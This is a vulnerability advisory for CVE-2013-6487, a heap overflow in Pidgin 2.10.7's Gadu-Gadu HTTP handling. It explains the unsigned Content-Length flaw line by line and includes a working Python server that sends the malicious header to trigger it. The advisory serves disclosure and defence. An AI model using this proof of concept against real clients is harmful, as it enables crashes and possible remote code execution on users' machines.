CVE-2013-6487
An exploitable remote code execution vulnerability exists in Pidgin’’s implementation of the Gadu Gadu protocol in the libpurple library. An attacker who can control the content-length of a HTTP request can cause an undersized allocation which can later be used to overflow into the heap. An attack requires the ability to spoof messages from the gadu-gadu.pl domain to exploit this vulnerability.
Pidgin 2.10.7
In gghttpwatch_fd() in file pidgin-2.10.7\libpurple\protocols\gg\lib\http.c at line 353 content-length will be read from the HTTP server:
353 while (line) {
354 if (!strncasecmp(line, "Content-length: ", 16)) {
355 h->body_size = atoi(line + 16);
356 }
357 line = strchr(line, ''\n'');
358 if (line)
359 line++;
360 }
It then checks if h->bodysize is less than or equal to 0, however h->body_size is an unsigned int so a negative value will return a large positive size, meaning the check for less than zero will never be true:
362 if (h->body_size <= 0) {
363 gg_debug(GG_DEBUG_MISC, "=> http, content-length not found\n");
364 h->body_size = left;
365 }
This check will also pass because left will not be larger than a negative body_size:
367 if (left > h->body_size) {
368 gg_debug(GG_DEBUG_MISC, "=> http, oversized reply (%d bytes needed, %d bytes left)\n", h->body_size, left);
369 h->body_size = left;
370 }
If h->body_size is 4294967295 (or -1) then the below will result in a malloc(0):
374 if (!(h->body = malloc(h->body_size + 1))) {
Finally we reach our out of bounds write into the heap here:
381 if (left) {
382 memcpy(h->body, tmp + sep_len, left);
383 h->body_done = left;
384 }
The client will keep copying data as long as there’’s data in the http response body and will then free the original heap chunk.
The following python code will trigger the vulnerability by supplying an overly large content-length value. We used DNS redirection on register.gadu-gadu.pl and had this listening for a password change request.
import socket
import struct
import httplib
import BaseHTTPServer
PORT_NUMBER = 80
class MyHandler(BaseHTTPServer.BaseHTTPRequestHandler):
def do_HEAD(s):
s.send_response(200)
s.send_header("Content-type", "text/html")
s.end_headers()
def do_GET(s):
s.send_response(200)
s.send_header("Content-type", "text/html")
s.send_header("Content-Length", "4294967295")
s.end_headers()
s.wfile.write("A"*1024)
def do_POST(s):
s.send_response(200)
s.send_header("Content-type", "text/html")
s.send_header("Content-Length", "-1")
s.end_headers()
#s.wfile.write("A"*8192)
s.wfile.write("A"*8192)
if __name__ == "__main__":
server_class = BaseHTTPServer.HTTPServer
server_addr = ('''', 80)
httpd = server_class(server_addr, MyHandler)
print "Server up"
try:
httpd.serve_forever()
except KeyboardInterrupt:
pass
httpd.server_close()
print "Server stopped"
Sourcefire VRT